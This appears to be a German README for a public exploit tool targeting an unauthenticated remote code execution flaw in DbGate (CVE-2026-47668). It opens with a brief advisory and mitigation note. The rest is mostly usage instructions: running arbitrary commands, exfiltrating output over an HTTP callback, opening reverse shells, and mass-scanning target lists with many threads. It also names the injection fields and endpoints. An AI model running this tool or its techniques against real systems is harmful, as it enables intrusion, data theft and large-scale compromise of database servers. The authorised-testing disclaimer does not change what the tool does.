
DbGate Unauthenticated Remote Code Execution
Nicht authentifizierte RCE im DbGate JSON Script Runner (dbgate-serve ≤ 7.1.8).
Assessment-Tool: CVE-2026-47668.py — nur für autorisierte Tests.
| CVE | CVE-2026-47668 |
| Schweregrad | Kritisch |
| Produkt | DbGate / dbgate-serve |
| Betroffen | ≤ 7.1.8 |
| Behoben | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
Titel: Nicht authentifizierte RCE in DbGate über JSON Script Runner
Vom Benutzer steuerbare Felder (functionName, variableName) werden ohne ordnungsgemäße Validierung in dynamisch generiertes JavaScript eingebettet. Ein Angreifer kann beliebigen Code im Node.js-Runner-Unterprozess ausführen.
Gegenmaßnahme: Upgrade auf 7.1.9+. Netzwerkzugriff einschränken, anonyme Authentifizierung deaktivieren, Anmeldeinformationen rotieren, Protokolle auf verdächtige /runners/start-Aktivitäten prüfen.
Telegram: @KNxploited
CVE-2026-47668.py prüft und validiert die Ausnutzung gegen DbGate-Instanzen, die Sie autorisiert sind zu testen.
Modi
Ergebnisse
Ausgabeverzeichnis: Nx/ (vuln, dispatch, exfil, failed, list_report, Dateien pro Ziel unter exfil/)
pip install -r requirements.txt
Erfordert: Python 3.9+, aiohttp, colorama
python CVE-2026-47668.py
| Eingabe an der Eingabeaufforderung | Beispiel |
|---|---|
| Einzelne URL | http://192.168.1.10:3000 |
| URL + Befehl | http://192.168.1.10:3000|id |
| Zielliste | targets.txt |
Jeder CLI-Lauf muss --cli enthalten.
python CVE-2026-47668.py --cli [options]
-u / --url — Basis-URL des Ziels
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — Shell-Befehl (Standard: id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — nur Schwachstellenprobe (kein Befehl)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — Injektionsvektor: functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — Standardport, wenn die URL keinen Port enthält (Standard: 3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — vorhandenes Bearer-Token verwenden
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — benutzerdefinierter Login-Body (Standard: {"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — HTTP-Timeout in Sekunden
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — TLS-Zertifikate verifizieren
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd)--callback-host — IP/Hostname, die das Ziel verwendet, um Ihren Listener zu erreichen
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — lokale Bindung für HTTP-Listener (Standard: 0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — HTTP-Exfil-Port (Standard: 8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — externe Callback-URL (deaktiviert integrierten Listener)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — Sekunden auf Callback warten (einzelnes Ziel, Standard: 8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — Ausgabe ohne Base64-Kodierung senden
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — asynchrones exec anstelle von execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — Datei mit Zielliste
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — parallele Worker (Standard: 30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — Callback-Wartezeit pro Ziel im Massenmodus (Standard: 8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
Massenmodus + benutzerdefinierter Standardport
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
Nicht erforderlich für normale Tests. Verwenden Sie HTTP-Exfil (--cmd) als Nachweis.
--reverse-shell — Ziel verbindet sich mit LHOST:LPORT (Wert weglassen = LAN-IP + Port 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — Port, wenn --reverse-shell kein :port enthält
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — lokale Listen-Adresse
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — auf TCP warten (Standard: 15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — einfache stdin/stdout-Weiterleitung nach Verbindung
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Docker-Hinweis: Verwenden Sie eine IP, die aus dem DbGate-Container erreichbar ist (z. B. Host-Gateway), nicht nur 127.0.0.1 auf Ihrem PC.
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → Befehlsüberschreibung pro ZeileNx/list_report.txtPOST /auth/login → Bearer-Token (automatisch, außer bei --token)POST /runners/start → Befehl ausführen + HTTP-Callback (oder Reverse-TCP, falls aktiviert)Nur für autorisierte Sicherheitstests. Sie müssen eine ausdrückliche Genehmigung haben, um ein System zu testen. Der Autor ist nicht verantwortlich für Missbrauch oder illegale Nutzung.
Von: Nxploited
| Element | Detail |
|---|
| Endpunkt | POST /runners/start |
| Authentifizierung | Bearer erforderlich; Token kann über POST /auth/login bei anonymen/Standard-Bereitstellungen bezogen werden |
| Injektion | functionName, variableName in JSON-assign-Befehlen |
| Auswirkung | Ausführung von Betriebssystembefehlen als DbGate-Prozessbenutzer |
| Modus | Reverse Shell | Beschreibung |
|---|
| AUTO | Nein | Ein Prompt; Token + HTTP-Callback + Standardwerte |
| CLI | Optional | Volle Kontrolle über Flags |
| Massenmodus | Nein | Scan von targets.txt |
--reverse-shell | Ja | Optionale TCP-Überprüfung (nur einzelnes Ziel) |
| Ergebnis | Bedeutung |
|---|
| FAIL | Nicht erreichbar, Authentifizierung fehlgeschlagen oder nicht verwundbar |
| VULN | Runner hat nur den Probe akzeptiert |
| DISPATCH | Payload gesendet; keine bestätigte Ausgabe |
| EXFIL | Callback empfangen — bestätigte Befehlsausgabe |
| REVSH | Reverse-TCP verbunden (nur optionaler Modus) |
| Datei | Inhalt |
|---|
Nx/vuln.txt | Verwundbare Ziele (Probe OK) |
Nx/dispatch.txt | Payload gesendet, unbestätigt |
Nx/exfil.txt | Bestätigte Callbacks |
Nx/failed.txt | Fehlgeschlagene Ziele |
Nx/exfil/<host>.txt | Befehlsausgabe pro Ziel |
Nx/sessions/<id>/summary.json | Sitzungsübersicht |